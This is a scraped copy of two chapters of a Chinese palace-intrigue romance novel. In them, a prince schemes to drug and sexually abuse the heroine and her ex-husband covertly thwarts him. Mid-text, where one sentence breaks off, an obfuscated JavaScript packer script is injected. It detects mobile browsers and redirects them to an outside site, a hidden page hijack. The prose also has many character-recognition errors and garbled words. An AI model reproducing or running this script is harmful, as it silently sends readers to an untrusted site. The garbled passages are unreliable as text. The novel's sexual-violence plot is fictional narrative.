不仅如此,他们还已经雇好了车,就在楼下等着。叶采薇心头的郁结总算消弭大半,盘算着从这里出发回去,接上已经分离了好几日的见雁,时辰应当刚好,能去贡院门口,见一见秋闱第一场结束的佟归鹤等人。叮嘱他们几句后,主仆三人重新找镖局雇上镖师,这一次和容津岸再无半点牵扯,细算一下,也不会耽误回东流的时日太多。 叶容安是个懂事的乖孩子,绝不会生她的气。与问鹂上了车,一路上,叶采薇神清气爽。窗外的景色一一闪过,像她托奚子瑜专门从海外给叶容安带回来的跑马灯。 然而,乐极生悲。 马车还未抵达先前与佟归鹤住上下楼的那间客栈,却见那里已经被重重官兵包围,戒备森严。还在贡院的佟归鹤被抓,客栈里一直等她们回来的见雁也被抓了。 叶采薇的心彻底沉了下来。 这一次,又只能回头去找容津岸。 29、一石二鸟 叶采薇当日的担忧竟然真的成了现实。罪魁祸首是万建义。 万建义身为秋闱的外帘官,公然玩忽职守,在秋闱的考试进行期间擅自外出,不仅好不避嫌、到不相关的衙门处理了万夫人的事,还堂而呈之地,在外面人来人往的酒楼,大摇大摆用餐吃酒。 秋闱舞弊案爆发,万建义被抓是首当其冲之事,这个人睚眦必报又心思歹毒,人还没被带过去提审,他蹲了三个晚上,便主动咬出了当晚一起吃饭的容津岸和叶采薇。 秋闱舞弊案是大案要案,办案要紧,每一个细节都不容错过。 不仅是容津岸和叶采薇,就连那个慈眉善目的按察使大人,也一并被牵连,停职调查。 自从嘉泰四+四年底叶采微离开京城,她再没有与官府拉扯上任何关联。自从上次在池州与容津岸重逢,奇事一件接着一件来就连她干方百计想要临瞒的,拜康和县主投毒一案所明,她的真实身份,她 与容津岸的关系,也在这期间被许多人知晓。 好像有一只看不见的手,在暗地里拽着她的脚踝,她拼命想要奔离,却还是被拉了回来。 就在被带离的途中,容津岸突然发病,症状比上一次还要惨烈。叶采薇想起她最后质问他的话,他神色复杂,似乎有很多话想要对她说。 未入大牢,她被禁足在府衙内的某处厢房之中,好像就是前两日她住的那一间。大约是因为容津岸的身份极其特殊,绝不可等闲视之,连带着她这个前妻,也跟着有了特殊的待遇。 问鹂和容文乐也被带走。 独自在房中,叶采薇静默,开始思考在过来的途中,得知的那件震惊无比的消息。这一次,被嘉泰帝派来处理南直隶秋闱舞弊案的钦差,不是别人,正是早已经成婚之藩的六皇子楚王。 六皇子的生母不显,外人看来为人平庸老实,虽然好色油腻,但也与储位之争没有半点关系。从前在京时,他表面从不参与政事,却还在太子党和齐王党之间隐隐站队齐王。 嘉泰四十五年下半年,六皇子成婚,顺利之藩。从此,他在封地上安分守己,距今已有四年。 这一次,南直隶秋闱舞弊案的幕后指使直指三皇子齐王,六皇子身为他曾经的拥趸,却被嘉泰帝指派来做了审理此案的钦差,嘉泰帝是何用意,众人揣度不一。 而还有一件要紧的,则是当年叶采薇原本一早与六皇子有了婚约,后来却抓住六皇子的痛脚主动退婚,再后来,与初入仕途的容津岸成亲、和离。 而好巧不巧,已经和离了的容津岸与叶采薇又双双被牵连进了这个舞弊案,等于直接落到了六皇子的手上。六皇子是会借机一雪前耻,还是公事公办为天下楷模呢? 所有人都在等着这一声闷天里的惊雷。 *** 另一间厢房中,锦帐昼暖,光融绵绵,袅袅熏烟从狻猊炉中缭绕而出,香气异浓,纵然外面乱作一团,两三重门一关,内里与世隔绝。容津岸的二品官袍已被除去,只着雪白的中衣,此刻他安静躺在舒软干净的床榻上,面无血色,浑身苍白。神医柴先生站在边上,为他施针诊病,柴先生身后的屏风之外,还站着一名男子。 此男身着绛紫色蟒袍,玉冠玉带,是皇空专属。他身量不高,体型肥硕,长期浸淫女色的眼球浑浊粗鄙郡,眼下一圈深深的乌黑,眼皮也因为过于肥厚而把眼眶压成了一条缝隙,两道阴沉而尖锐的目 光,从缝隙中射向床榻上一动不动的容津岸,难免带起他复杂的心思来。 六皇子忍不住细想。 他与容津岸,是同年出生的人。 他有一个出身平平、不受父皇宠爱的生母,但他却是九五之尊的亲子,是天朝最为尊贵之人,是无数人仰仗巴结的天黄贵胄,无论这些人是否真心拜服,他们都只能伏跪在他的脚边,祈求他的关注和施 舍,哪怕被他一脚踢开; 容津岸呢,在由科举入仕前可谓卑微到生埃里,然一朝金榜题名,即便受到太子逆案、老师叶者亭的牵连,仕途初初屋遇坎坷,但很快,便受到了父皇的赏识,一步一步青云直上,受万人景仰艳美,成 为天下无数读书人的楷模。 尤其是容津岸生了一副绝好的皮囊,又偏喜欢拿腔拿调、惺惺作态,清高狂傲,把“与士大夫共治天下”奉为圭臬。 可是,君就是君,臣就是臣,天纲地纪,名伦道常,亘古未变。 他是君,容津岸是臣,他想让容津岸生,容津岸就必须求死不能、苟且偷生;他想让容津岸死,容津岸就只能求生不得、含笑九泉。只要除掉了眼高手低的三皇子,皇位便触手可及。 “殿下。”柴先生已将银针取回,——收入囊中。他隔着绘有《王蜀宫妓图》①的屏风,恭敬持谨,对六皇子行礼:"幸好发现及时,容大人他已无大碍。" “他何时能醒?”屏风上的美人似春如月,六皇子的语气却不耐烦极了。 这一次是他蛰伏数年终于等到的机会,人刚从封地赶到应天,却听手下探子说起,容津岸竟然又与叶采薇纠缠在了一起。新仇旧恨刻骨铭心,六皇子正准备兴师问罪,又得知容津岸误食了花生,再 次发病。真是麻烦。 “这几日案情繁琐,容大人忙于公务,案牍劳形,精神实在是损耗了不少。”柴先生仍旧保持着垂头恭敬的姿势,猜想屏风那头的六皇子,脸色应当是十分难看,连忙道:"殿下无须忧心,容大人只要好生休息,不出一个时辰,必会清醒,继续为殿下效劳。" “有劳柴神医。”六皇子抿了抿嘴巴。 他从十岁起便已通人事,多年来沉谜女色,淫乱纵欲,两年前,他差点死于马上风,是恰巧路过的柴先生把他从鬼门关口拉了回来,他因此对柴先生感激弟零,将他视作再生父母,几乎是言听计从 "本王近日偶感不适,柴神医再为本王看看。" 说完,六皇子准备拂袖而去,床榻上的容津岸却似乎有所感知,微微掀开了眼皮,迷迷糊糊嗫嚅着:"殿下….…殿下….…是殿下来了吗?"无论容津岸在外如何清高孤傲如何一手遮天,在六皇子面前,永远只能是卑贱如草芥,永远只能俯首称臣。 柴先生识相退出,默默在外,等候为六皇子看诊。厢房之内,只余容津岸与六皇子二人。 六皇子皱着一张肥脸,绕过屏风,不耐烦踱至床榻边,与容津岸见面。 狻猊香炉的香气混合着他所配香囊的香气,缭乱糜异,但容津岸却好似从其中抽出了一丝淡淡的恶臭,难以忽略。他那个不能食用花生的病早已痊愈,此事只有他和柴先生两人知晓,今日差点在叶采薇面前穿帮,眼下面对六皇子,他更是要把戏做足做透。 他俊美无匹的面容惨白,嘴唇也微微干裂,努力将双眼挤满了红血丝,卖弄着一贯擅长揣度上意的本领,猜准六皇子最想问他什么,有气无力为自己解释: “是因为…叶采薇以为微臣投靠了齐王,指责微臣背叛了恩师叶渚亭,叶采薇向来是牙尖嘴利的,骂起人来口不择言,微臣嘴笨,” 他还故意深深叹了口气,像是懊恼于自己竟然在这种事上输给了一个小女子,垂下眼帘: “微臣实在是吵不过她,被气得急火攻心,当时没有分辨,就吃下了花生……微臣发病眈误殿下的正事,错只在微臣一人,请殿下责罚。”说着,就要挣扎着起身,向六皇子叩头认错。 六皇子肉眼眯成了一条缝,不耐烦摆了摆手。 容津岸在池州与叶采薇意外重逢一事,容津岸早就在私底下报给过六皇子,两个人形同陷略,也再无牵连;还有,容津岸为了那个跟三皇子沾亲带故的康和县主虚与委蛇之事,他在池州也并报了。至于这几日在应天发生的事,六皇子旁敲侧击向容津岸求证之后,总算得到了满意的答案,但容津岸满脸惶恐:"这次投毒案的结果,算是对康和县主小惩大诫,只是,微臣与叶采薇….…" 俊美的脸上为难不已,六皇子一见,又不耐烦: “当年,你也只是为了报叶渚亭的恩情才娶她的,也是她不识好歹、作天作地,非要与你和离。叶采薇那样的女人,空有一张漂亮的脸蛋,”六皇子一顿,眼前鬼使神差地浮现出一张芙蓉娇靥来,不由咂了咂嘴, "实际上,就跟疯狗一样,一张嘴到处乱咬,本王知道爱卿的委屈。" 又短又粗的手指轻微捻动,像是已经摸到了清雅少女滑腻的皮肤,六皇子脸上的肥肉抖了一抖:“这些,那年本王从齐王手中救下爱卿时,爱卿已经向本王坦白过了,你我君臣互信,无需多言。” “殿下天威,救命之恩,微臣结草衔环,难以为报。”容津岸眼含热泪,满口哽咽,说着便要拖着病体,滚到床榻下来,给六皇子行五体投地的大礼。 六皇子连忙按住了他,肥腻腻的手,在他雪白的中衣上留下了一道腻黄的汗印。 两人表演的这场“君恩臣德”,根由原在叶渚亭。 因着与他的师生关系,多数人都将容津岸视作了废大子党,齐王党碍于他在殿试时表现出色颇得嘉泰帝欣赏,一直将他视作眼中钉肉中刺,欲除之而后快。嘉泰四+五年,容津岸从辽东返回京城,恰 逢六皇子大婚,齐王党在婚宴上派出了杀手,准备刺杀容津岸,并嫁祸给六皇子。 六皇子并非无能草包,他表面临陷依附于三皇子,实则多年垫伏,背地里筹谋算计,他不着痕迹地保下了容津岸的性命后,更是不计前嫌,将容津岸收做心腹,并安排他假意投靠三皇子齐王,只待时机 成熟,将齐王及其党羽连根拔起,剑指储君之位。 “仲修,本王刚到应天,第一个就来单独见你,不是来向你兴师问罪的。”六皇子端出了一副知人善任的明君模样,慈爱道: "爱卿英年丧母,回南直隶丁忧,到应天来的时日也不长,这次的案子,本王恐怕……"容津岸自然知晓他又在借故试探,当即拍着胸脯表了一番忠心,说自己用此案对付三皇子一党,几乎是十拿九稳。 六皇子对此满意极了,默了默,才慢条斯理地,从袖笼中掏出了一个朱红色的小药瓶,扔在了容津岸的手边:“这个,等爱卿的身体彻底恢复了,找个机会,下到叶采薇的饭食里去。” 六皇子身上淡淡的恶臭陡然增浓,容津岸屏住呼吸,一动不动,天真犹豫道: “这是……” 发号施令的人却不回答,半眯着肉腻腻的细眼,阴沉沉地盯着容津岸苍白的面容。 他当然、绝不可能承认,尤其是向这个卑贱的臣子承认,事情过去了整整八年,他依然对叶采薇怀恨在心。 恨得咬牙切齿。 美倒是美得惊心动魄,但军身长刺,贱也是赋得喜麻鲜耻,一个区区太傅之女,当年,竞然让他在京城天尽了脸面。如今,风水轮流转,叶采薇终于落在了他的手里,不让她吃尽苦头,怎么能消解他心 中的愤恨呢? 春媚散千金难求,药性最烈,指缝一点点的剂量,便足以让叶采薇丑态毕露。 从前拧着一张俏生生的娇脸对他冷嘲热讽的女人,只能跪着爬到他的脚边,抱着他的腿,苦苦忏悔当年犯下的种种错误,求他要她,求他把她送上快、活的顶峰。 到时候,他定要好好将她淫.虐一番,满足够了,再折磨她致死。而那开启一切的春媚散,由她从前的夫君、如今他的一条狗容津岸来亲手下给她,最合适不过。 反正,自他救下容津岸起,他从头至尾也没有完全信任过此人。 一个伪君子而已,满口仁义道德,实则沽名钓誉两面三刀,被他用来对付三皇子那个废物,用完了,再把送他上路便是。 而这一次,既能报复叶采薇,也能借机让容津岸再交一份投名状来,一石二鸟,一举两得。 容津岸的面色平静无波,眉宇间仍旧凝着憔悴: "几年过去,叶采薇早已年老色衰,朱颜辞镜,脾气还越来越大。"他慢慢将手伸向了那个朱红色的小药瓶,“殿下您乃未来天子,是万金之躯,又何必让小小的叶采薇脏了您?” “探花郎,你是聪明人,”六皇子阴沉的脸色,这下彻底冷了下来,如同猪油被推进寒冬腊月,"响鼓不用重锤的道理,不需要本王现在来教你吧?" *** 厢房内,叶采薇仍在胡思乱想。 她反复品咂着和容津岸的全部对话,包括那晚在秦淮河畔关于三皇子的,还有方才,关于这场秋闱舞弊案的。她实在是不确定,容津岸这个人究竟哪些话是真哪些话是假,也无法准确分辨明晰,他到底有几 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说罢他放下茶壶,苍白的大手端起茶盏,端到了叶采薇的面前:"已经严刑拷打过了,佟归鹤依然拒不承认夹带作弊一事,不知道究竟还在等什么。" 这话成功让本就敏感多疑的叶采薇怒不可遏,她一把将容津岸递来的茶盏掀翻: "你们……你们竟然屈打成招!" 茶盏当即碎得四分五裂,茶水也溅得满地都是,溅湿了两人的鞋面。 “佟归鹤他只是个不谙世事的文弱书生,哪里经得起严刑拷打?一旦经受不住,服了软,在那些满纸诬陷的供状上签字画押,就再也无法翻案,等待他的,只有人头落地!” 叶采薇恨得牙痒痒,低头盯着容津岸被茶水溅湿的鞋面,越看越觉得丑陋不堪,一脚狠狠踩上去。但同时,她又忽然想起了什么,沿着容津岸略显凌乱的官袍抬首,仰视,死死锁住他的脸。 “你……你不是被万建义玩忽职守牵连,和按察使大人一样,要停职接受审查吗?怎么还能堂而皇之地去大牢里见佟归鹤,还、还大摇大摆地给我带茶水来?” 她理直气壮地质问着,秀气的黛眉却皱成了一团,像只发狠的狸猫,张牙舞爪。 容津岸站得笔直,被她狠踩住了脚背,脸色却半点未见,唇角和眼尾,竟然还扬起了淡淡的笑意:"叶娘子,你说呢?" 是明目张胆的挑衅,是厚颜无耻的作弄。铁一般的事实和他的态度,都直指真相——“你、你……” 话已经到了唇边,叶采薇却嗫嚅起来,她觉得羞耻极了: “你……你……” 她终于说出了口: "容津岸,你竟然投靠了六皇子?那个恶臭龌.龊的老淫.棍?!" 就在此时,与这里一墙之隔的厢房之中,六皇子监听到了叶采薇直白又难听的辱骂“恶臭龌龊的老淫棍”时,柴先生也刚好为他把完了脉。 厢房内的熏香又添了几味,几种异香混杂,与隔壁的声响交错在 一起,让人心烦气躁。 “殿下,”柴先生察言观色良久,小心发问: "您除了疲乏、食欲不振和浑身不适之外,身上……身上可还有其他异常?" 六皇子从头到尾都铁青着脸,扬手让手下将那监听的口子堵住,阻止争吵传来。 六皇子手下的这些人,几乎都是今年才收的新手。 那些仅余的前辈无数次告诫他们,这位皇子喜怒无常、实在难伺候,若是不小心惹怒了他,必会很快死于非命。是以,他们在手脚飞快地执行了命令之后,迅速退了下去。 房内彻底安静下来。 六皇子又默了一会儿,只觉得心烦气躁,难以压抑。 柴先生皱着眉头,微微抬眸觑了一眼这难伺候的情状,又立刻收回视线。 房内静得只剩下六皇子的锦衣华服衣料摩擦的声音,熏香越来越浓,他反复眨着肥厚的眼皮,仿佛是下定了决心,将拳头捏紧又放松:“对于柴神医,实不相瞒,本王确有其他难言之隐。”柴先生沉肃着脸,认真地听。 “身上,嗯,身上……长了不少红色的小包块,都在、都在……那附近。”六皇子的脸色比锅底还黑,话语犹犹豫豫。说完,他把手伸向了自己腰上的玉带,想要将其除去,又最终停了下来。 “还有,那里还有一股恶臭,怎么洗都洗不干净,本王怕被人闻出来,房内都点了味道极重的熏香,身上也配了更加浓重的香囊。” 六皇子说得极慢,满脸的肥肉也跟着缓缓颤动。 柴先生将唇抿成了一条线,沉默不语。 “嗯,还有、还有就是……”六皇子的脸发红,他反复咽下了几口唾沫,才终于继续说下去:"最近房.事实在不济,怎么都不行,而且本王总是觉得、觉得……好像小了一些,也怪了一些。" 话已至此,六皇子把最难以启齿的都说完了,狠狠抽了口气,觉得再这样藏着掖着也于事无补,索性三下五除二,解了玉带,除了纨绔,"柴神医,请你帮本王看看!你可是华佗在世,你一定要帮到本王!" 柴先生见状,其实心头已经大致有了结论,但仍旧紧锁眉头,仔细检查了一番后,直直跪在地上,叩首嚎啕: “殿下!请恕草民无能,殿下所患的乃是花.柳之病,且病况之深、即将入肺腑,眼下唯一能救殿下性命的方法,只有剜肉疗伤这一个!”“剜、剜、剜,剜肉疗伤?”六皇子肥厚的嘴唇止不住颤抖,仅仅一息之间,他就出了一身的冷汗,贴在他油腻腻的肉.身上,粘黏潮湿。他从十岁起就开始纵情声色,根本不敢深想,“剜肉疗伤”这四个字的准确含义。那哪里是肉,那分明、分明就是…… “殿下,成年男子阉.割,确有性命之虞,然而,殿下的病情太深太重,若想保住性命,唯有此法!”柴先生伏跪在地上,根本不敢抬头,哭腔阵阵: “草民愚鲁,医术不精,殿下若是不信任草民,可另请高明。只是这个病,实在是半点也拖不得了!” 六皇子的震惊无以复加,手脚一软,直接从软凳上跌倒在地。 而与此同时,门口却传来了手下的通报: “启禀殿下!就在适才,叶娘子用头上的发簪将容大人捅成了重伤,容大人血流不止!属下斗胆,请柴神医赶紧过去看看!” 30、牢 一直到被官差铁面无情带走,叶采薇仍旧没有停止颤抖,浑身都在颤抖。 指缝间,手心里,指甲内侧薄薄的皮上,都还残留着深深浅浅的血迹,左一块,右一块,浓浓的腥气不断钻入她的鼻腔,往上,再往上,直冲颅顶。容津岸的血,全都是容津岸的血,腥气弥漫。 事情愈发不受控制。 是……如何变成这样的,如何走到这一步的? 在池州与容津岸重遇,一切发生就像梦一样。即使在梦里发生的争吵,也像是裹着一层薄薄的糖衣,一戳就破,然后面目全非。 她与他总是在争吵。 来了应天之后,事情一样接着一样地来,她应接不暇,与他的争吵也是无休无止,看不到尽头。 她实在很难厘清,也很难狠下心来强迫自己去做那个自毁式的自我剖析,她为什么总是要生他的气,为什么总不能虚心平意地看待有关于他发生的一切。 当初和离时,她毅然决然切断了关于他的一切,也明明和他说好了,一别两宽各不相欠,但五年后重逢,她却早已失掉了在叶容安面前的全部耐性,总是张牙舞爪地攻击他。 但这事也不能全怪她随心所欲,谁让他长了一张臭嘴,总是说些让她不高兴的话? 今天,今天也是如此。 他本来因为误食了花生而发病,拖着殃殃的躯体突然出现,大刺刺地说起佟归鹤被严刑拷打的惨状,说佟归鹤嘴硬死不承认夹带作弊;她指责他的屈打成招,质疑他动机不纯,更是理所应当,谴斥他早就暗地里投靠了六皇子,那个曾经和她有过婚约、却卑劣下流的所谓天潢贵胃; 换来他的什么呢? 他冷嘲热讽,直直往她的痛处上戳,他甚至恬不知耻让她开口求他,要舌灿莲花,还要真心实意,最好是苦苦哀求,要求到他满意了舒服了,他才会考虑大手一挥,对佟归鹤网开一面。 言语的攻讦有时比暴力还要可怕,像尖锐而锋利的刀刃,她是那只误入捕曾网中的狸猫,伸尽利爪却无法闯出生路来,只能任由刀刃一片一片,一片一片将她剂肉剔骨。 叶采薇在惊恐和愤怒中横冲直撞,不知怎么回事,手中竟然多了一支发簪。 容津岸那张俊朗无匹的脸,从二十岁到二十八岁,青涩褪为成熟,却被狡黠和轻佻浸染。 他清绝的眉眼里写满了挑衅的波澜,他睥睨她,他的嘴唇一张一合,吐露的字字句句都是无情的讥讽,他太了解她,最知道说什么能戳到她的痛处。 叶采薇忍无可忍,放任自己的失控,她发了狠,攥着那支发簪,直直捅向了容津岸。 下腹是人.体最柔软最脆弱的地方,她用尽了生平最大的力气。 发簪尖利,刺穿他虚张声势的、蓝紫色的二品官袍,刺穿他雪白到一尘不染的中衣,刺破他精壮紧实的皮肉,嵌入他的身体。 短暂的停顿后,温热而黏腻的鲜血喷涌,他的衣袍上开出了妖冶的血花,铺天盖地,像是在将她吞没。 叶采薇双手抖个不停,发簪是一只銮金的仙鹤,高洁挺立,目无下尘,鲜血沿着鹤汩汩滴流,滴在她柔美的指缝,流过她干涸的掌纹,又溅在她的衣襟上,仿若浑然-体。 容津岸的眼像两深黑洞,她的目光一旦触上,便被吸附,只能跌入无尽的渊薮。她没有喝他亲手给她倒的茶水,她的嘴唇干裂发痛,迷糊的喉咙也像被血浆封死凝结,一句话也说不出来。 “叶采薇,你真有本事……”他又一次启唇说话了。叶采薇垂着头,她听不见。 双眼朦胧,双耳空洞,她微微探身,想要听他重复一遍方才的话。“好……”容津岸的话飘荡在她头顶。 她猛地抬首,他的话尽数入耳,“好……很好….…”容津岸的眼尾竟然带着诡异的笑。 他不痛吗?明明脸色因为失血过多而苍白。一定是她被这血淋淋的惨相冲击,看错了,产生了幻觉。 一定是。 叶采薇失声尖叫,引来了外面的官兵。 她被扔进了大牢。 此刻大牢里被关着的,都是和这次秋闱舞弊案有关联之人。叶采薇麻木地跟着差役,路过一间间阴冷潮湿的牢房,她的手仍在颤抖,抖得根本不像话。 同一间牢房里,问鹂和见雁都在,一看叶采薇也被关了进来,上前将她围住。 “姑娘,他们、他们对你用了刑?”两人关切喃喃。 此时的叶采薇,青丝微乱,眸底憔悴不堪,还是那张绮丽迷人的容颜,被污垢和尘埃裹挟,与这腌攒子了格格不入。 “我、我没事……”她缓缓吐出了几个字来。 沉浸在震惊中勉强抽身,叶采薇知晓她们两个,是看到她衣衫上污糟不堪的血迹,以为她遭了大难。她颓然摇头: "我……是我,我用发簪捅了容津岸,这些,这些都是他的血。" 问鹂和见雁面面相觑,震惊无以复加。 叶采薇一身的精气被抽干,颓丧得快要站立不住,她知道这里不是说话的地方,淡淡道:"你们两个,只顾着关心我,你们自己呢,在这里可有受什么委屈?" 两个婢女同时爽快地摇头,她们被关 在这里,是有嫌疑、受到了牵连,先被提审的那些人,要么是负责秋闱的官吏,要么是贡院里的考生,还轮不到她们。 叶采薇心头安慰了许多。 她们将叶采薇引至牢房的角落,那里是两人花了不少的心思开辟出来的地方,相对干净舒适一些,能少受点委屈。谁知刚刚坐下,隔壁号房就传来人声:“冤枉啊!冤枉啊!青天大老爷,我真的是冤枉啊!”凄厉带血,仿佛痛彻心扉。 叶采薇蹙起了眉头。 而见雁却朝着那个方向淡淡瞥了一眼,小声嘟囔: “从我进来第一天,他就在喊冤。他明明是被逮到现行的,多少双眼睛都看得一清二楚的,这冤屈都能喊得出口,还这么坚持,喊得理直气壮,这世上厚颜无耻的人,也太多了!” 叶采薇目光低垂,反复搓着自己的手,手心的那些血迹,却怎么也搓不掉。是在时刻提醒她,提醒她的所作所为吗? “有些人真是……跟他关在一起的那个,就有自知之明得多,从来不喊冤。”见雁一面说一面拉住了叶采薇的手,掌心贴住,阻止她徒劳的动作。“哦不对。”她想起了什么。 “第一天来的时候,我听他说什么错了错了放错了,也不知道在说什么。”见雁摇了摇头,“不过就这一次,后面没有了,他们这些做坏事的人,说出口的话根本就不可信。” 叶采薇点头,也不知是在附和见雁还是想到了别处。另一只手心一暖,是被问鹂握住。 她觉得自己被光华笼罩,一点一点融化。 “说到底是我,是我害了你们。如果不是我心软,你们根本不会平白遭遇这牢狱之灾….…”叶采薇一手抓着见雁,一手抓着问鹂,心脏微弱地跳动,因为愧疚而闷闷发痛,愈演愈烈,“我就不该来应天的,我不该心软来应天的。” 若不是她顺水推舟被容津岸带到应天,哪里会发生这么多的事? 两个婢女一左一右抱住她,都觉得她在为自己捅伤了容津岸而悔恨担忧。其实,这五年来,哦不对,是这八年以来,她们都看得清清楚楚。叶采薇是个极重感情之人,容津岸于她太重要了,藕断丝连,即使再硬撑几年,也未必能够真正忘记。 两人说了些不碍事之类安慰的话,又互相看了一眼,小声说道:"姑娘放心,容大人吉人天相,一定不会有事的。"叶采薇唇角发苦,她不知道该回答些什么。 "他若死了,我用我这条命赔他就是。"良久,她幽幽开口。这次换作了问鹂和见雁,不知道该如何回答。 无可避免陷入沉思,因为婢女们的安慰,她又想起了容津岸。已然清醒了几分。 其实今天他的话有些怪,两人一见面时,他一改先前黏腻的态度,坚决要她离开府衙,似乎不想让她沾染此事。是他早已料到会有万建义的牵连,提前让她远离是非吗? 可是她心系见雁和佟归鹤,又怎么可能会甘心离开呢?还有今天,他去而复返的挑衅,又是怎么一回事呢? 过了这么多年,不仅他不了解她,她也还是不了解他。 牢狱中暗无天日,不见天光。 昏暗和潮湿,发霉的气味将她身上的血腥气彻底掩盖,混杂着饭菜的馊味、排泄物和呕吐物腐烂的臭味;黑黢联的老鼠走街串巷,蜘蛛、蟑螂、蜈蚣,还有无数叫不上名字的虫子,尽情狂欢。 喊冤声和被严刑拷问后的惨叫声不停,还有操着南腔北调、乱七八糟的对话和对骂,狱卒极度不耐烦又狠毒的呵斥,在这被末知的恐惧笼罩的牢房里,被放大成了地狱催命的音符。 主仆三个抱作一团,叶采薇浑浑噩噩地想,却不知道自己在想些什么。不知道过了多久,有狱卒过来,将叶采薇带走。 她的心跳仿佛已经停止,只剩下一副躯壳,麻木地跟随着。 她是个杂学之人,饱览百家,在这个时候,她的脑海里竟不由自主地出现,从前读刑律时,印象深刻的句子。杀人者偿命,斩首,流放,腰斩,凌迟处死,视情节严重程度,而量刑不同。 她亲手杀了容津岸。 用她自己的发簪。 那晚,在秦淮河畔时,他们两人争执而互相置气的话,竟然很快就变作了现实。她杀了他,然后她再用这条命来抵偿,他们一起下到黄泉,去见叶渚亭游秀玉等人,接受来自父母的批评和指责,指责他们如此儿戏、如此轻视性命。 可是…… 她不是孤家寡人,她还有叶容安。容津岸是叶容安的亲生父亲,他至死都不知道他们有个儿子,等她偿命之后,要告诉他吗? 而她,又该怎么向叶容安交代呢? 对不起,阿娘骗了你,你的阿爹还活着,只是阿娘没让你见他,就把他失手杀死了。杀人偿命,天经地义,所以剩下的路,就只有容安一个人走下去了,可一定要、一定要好好长大呀…… 然而意料中的拷问并没有到来,叶采薇被带出了大牢,迎着夕阳淡漠的日光,她被带到了一个小房间内。 府衙毕竟是朝廷命官办公的场所,不是深宅大院,没有麻利干练的婢女服侍,两个粗使婆子进来,放下了一身干净的衣物和两盆热水:"请娘子自行清理更衣, 柴神医吩咐过,照顾伤患,须得干净。" 留下叶采薇一人怔愣,转不过弯来。 这是怎么一回事? 时间倒转,回到两个时辰之前。 容津岸被叶采薇的发簪所伤,伤口太深,实在骇人。他失血过多,柴先生花了好一番功夫为他止血包扎,又以观察伤患为由,独自留在了房中。不久,容津岸悠悠转醒。 反复确认过,房中的监听已经被撤掉了,两人的对话不会被任何人听到,柴先生依然选择了放低音量:“如果我没有猜错的话,仲修,你是故意激怒了叶娘子,让她怒火攻心丧失理智,继而往你身上捅的,是不是?” 容津岸眨眨眼,坦诚承认:“知道都瞒不过你。”“六皇子跟你单谈,让你做什么了?”柴先生神色微凛。显然,以他对容津岸的了解,此人表面光风霁月实则心计颇深,几乎不可能做如此冒险的事情,除非有很大的隐情。 容津岸将那瓶药的事一说,敛眸: “姜长锋心胸狭窄,一直记着薇薇当年和他退婚的仇。”姜长锋是六皇子的本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751679|151876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名。 “这一计,既是趁机让我再表一次忠心、给他递上投名状,又要对薇薇不利,我只能出此下策了。”柴先生听到那两声自然而然的“薇薇”,眯眼笑了一下,心下了然,又以拳抵唇,轻咳道:“原来容阁老如此用心良苦……” 容津岸听出他话中的调侃之意,收拢了目光,以沉默应对。柴先生看着他略微发红的耳尖,再次确认了心中所想,面上却是正色:“你们两个人说的那些话,我在隔壁为六皇子诊脉的时候,听了个七七八八。” 他顿了顿: “那个药直接下在了茶壶里,但你是从一开始就没打算让叶娘子碰到茶,所以进门,一张喘就没好话…这么做,对叶娘子的保护效果倒是极好的,可是万一被六呈子看出来,猜到你故意为之,怎么 办?” 容津岸的长指微曲,关节有淡淡的青色: “我与她不睦已久,连和离都已经五年,什么时候心平气和说过话?若我真是好言好语哄她喝下那壶她平日里根本看不上的茶,才更容易引起姜长锋的怀疑。” “知道了,仲修舍不得让叶娘子碰到茶。”柴先生故意强调一遍,趁着容津岸没变脸,换了个话题:"不过,你又是怎么能把握好分寸,确保自己不被叶娘子直接捅死?" “跟着你学习了这么多年,我当然自信,有这个本事。”这一回,轮到容津岸勾着唇角,眉宇间丘壑起伏,是志在必得的模样,“再说,你就在这里,即使我失血昏迷,想必也不会太久。” 柴先生看着他惨白的脸色,略微虚弱的模样,一天以内,一次装病一次真伤,也是足够折腾。 他笑着问: “还有一个问题,叶娘子失控重伤了你,万一六皇子恼怒她,让她在牢狱中受苦,你又怎么办?” “在姜长锋的眼里,我也只是一条两面三刀的狗,有用的时候招我过去,没用就扔掉,他不可能为我出头,顶多把薇薇关进大牢里。”容津岸慢条斯理地解释,言语中对六皇子的鄙夷极深,“这里的狱卒之中,有我从前帮助过的人,我早就打过招呼了,别说薇薇,就连薇薇的两个婢女,都不会受到任何不利的对待。” 柴先生听出了一些旁的滋味来: "那……那个叫佟归鹤的考生呢?"容津岸抿着唇,只是微微抬眸睨着他,眼神意味不明。 柴先生心下了然,耸了耸肩: “算无遗策,真真是算无遗策。放眼我整个大天朝,普天之下,也就你容仲修有这个胆量和本事,敢把两个皇子玩弄于股掌之间,还都能把老虎的牙给拔下来。” 不过是老虎还是纸老虎,有待商榷。 他又正色道: “这样,你想把叶娘子从牢里捞出来,让她回到你的身边,等下就要立刻跟六皇子说。” 容津岸并未反驳那句要把叶采薇捞回到他身边的话,想起自己假装吃花生昏迷时,听到六皇子要求柴先生为其看病一事,问: "姜长锋的身体出了问题?" 柴先生郑重点头: “花柳,已经几乎到了病入膏肓的地步,也许不需要等你出手为叶娘子报仇,他自己就会先死在这上头。” 容津岸沉吟。 他博闻强识,对花柳病也有所了解,六皇子身上那股异香也无法掩盖的恶臭,应当来源于此。 “世事无常,有仿佛冥冥中自有天意。你还在款县老家发奋苦读的时候,叶者亭就把叶娘子许配给了六皇子作未来的楚王妃。想想看,若不是当年叶娘子因为六皇子狎妓铁了心要退婚,就在你们相遇的 那一年,她嫁给六皇子成为楚王妃,或许叶渚亭还是要遭太子逆案的大劫,叶家还是要倒,但今日,六皇子这个病一定会传染给叶娘子。" 柴先生一口气说了好一番因果循环的假设,停了许久,看向容津岸深深的眉眼: "仲修,你舍得吗?" 容津岸接了他的视线,眼底掠过一道浓重的阴影:“没有这个可能。” 柴先生笑了,不去深究到底他是想说叶采薇没这个可能嫁给六皇子,还是 